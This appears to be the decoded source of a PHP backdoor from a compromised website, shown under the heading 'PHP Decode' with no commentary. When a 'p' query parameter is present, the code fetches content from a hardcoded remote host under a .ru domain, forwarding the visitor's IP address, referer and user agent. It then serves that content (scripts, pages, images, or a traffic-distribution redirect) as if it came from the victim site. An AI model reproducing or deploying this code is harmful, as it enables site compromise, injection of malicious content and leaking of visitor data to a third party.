PHP Decode

header('Content-Type: text/html; charset=UTF-8');
$p = 'p'; 
$host='sadasuduasdihaisdad.ru';
$path='/cache24102015-aks/';
if (strpos($_SERVER['HTTP_HOST'], "www.") === false)
{
$_SERVER['HTTP_HOST'] = $_SERVER['HTTP_HOST'];
}
else 
{
$_SERVER['HTTP_HOST'] = substr($_SERVER['HTTP_HOST'], 4);
}
$srvr=$_SERVER['HTTP_HOST'].'/aks-';

function GetRealIp()
{
 if (!empty($_SERVER['HTTP_CLIENT_IP'])) 
 {   $ip=$_SERVER['HTTP_CLIENT_IP'];}
 elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
 {  $ip=$_SERVER['HTTP_X_FORWARDED_FOR'];}
 else
 {   $ip=$_SERVER['REMOTE_ADDR'];}
 return $ip;
} 

if(isset($_GET[$p])) 
{
$r = GetRealIp();
if (strpos($_SERVER["HTTP_USER_AGENT"], "IP: ")!==FALSE) $r = substr($_SERVER["HTTP_USER_AGENT"], strpos($_SERVER["HTTP_USER_AGENT"], "IP: ")+4);

$param=$_GET[$p];
if (strpos($param, '.js') !== false)
{
$ext='.js';
$param = str_replace('.js','',$param);
$srvr='';
}
else if(strpos($param, 'prokl-') !== false)
{
$ext='.php?tds-q='.urlencode(substr($param, strpos($param, "prokl-")+6));
$param='prokl';
$srvr='';
}
else if(strpos($param, '.css') !== false)
{
$ext='.css';
$param = str_replace('.css','',$param);
$srvr='';
}
else if(strpos($param, '.gif') !== false)
{
$ext='.gif';
$param = str_replace('.gif','',$param);
$srvr='';
}
else if(strpos($param, '.htm') !== false)
{
$ext='.htm';
$param 
= str_replace('.htm','',$param);
$srvr='';
}
else if(strpos($param, '.jpg') !== false)
{
$ext='.jpg';
$param = str_replace('.jpg','',$param);
$srvr='';
}
else if(strpos($param, '.ico') !== false)
{
$ext='.ico';
$param = str_replace('.ico','',$param);
$srvr='';
}
else if(strpos($param, '.png') !== false)
{
$ext='.png';
$param = str_replace('.png','',$param);
$srvr='';
}
else{
$rf=$_SERVER['HTTP_REFERER'];
$ext='.php?ip='.$r.'&ref='.$ref;
}
$out ='';
$buff = '';
if ($curl = curl_init())
		{
		curl_setopt($curl, CURLOPT_URL, 'http://'.$host.$path.$srvr.$param.$ext);
		curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
		curl_setopt($curl, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
		$out = curl_exec($curl);
		curl_close($curl);
		}else{
		$fp = fsockopen($host, 80, $errno, $errstr, 30);
if ($fp) {
    $out = "GET ".$path.$srvr.$param.$ext." HTTP/1.1
";
    $out .= "Host: ".$host."
";
	$out .= "User-Agent: ".$_SERVER['HTTP_USER_AGENT']."
";
    $out .= "Connection: Close

";
    fwrite($fp, $out);
    while (!feof($fp)) {
        $buff.=fgets($fp, 128);
    }
	$result = explode("

", $buff, 2);
	$out= $result[1];
    fclose($fp);
} 
	}
	echo $out;
	exit
	;	
}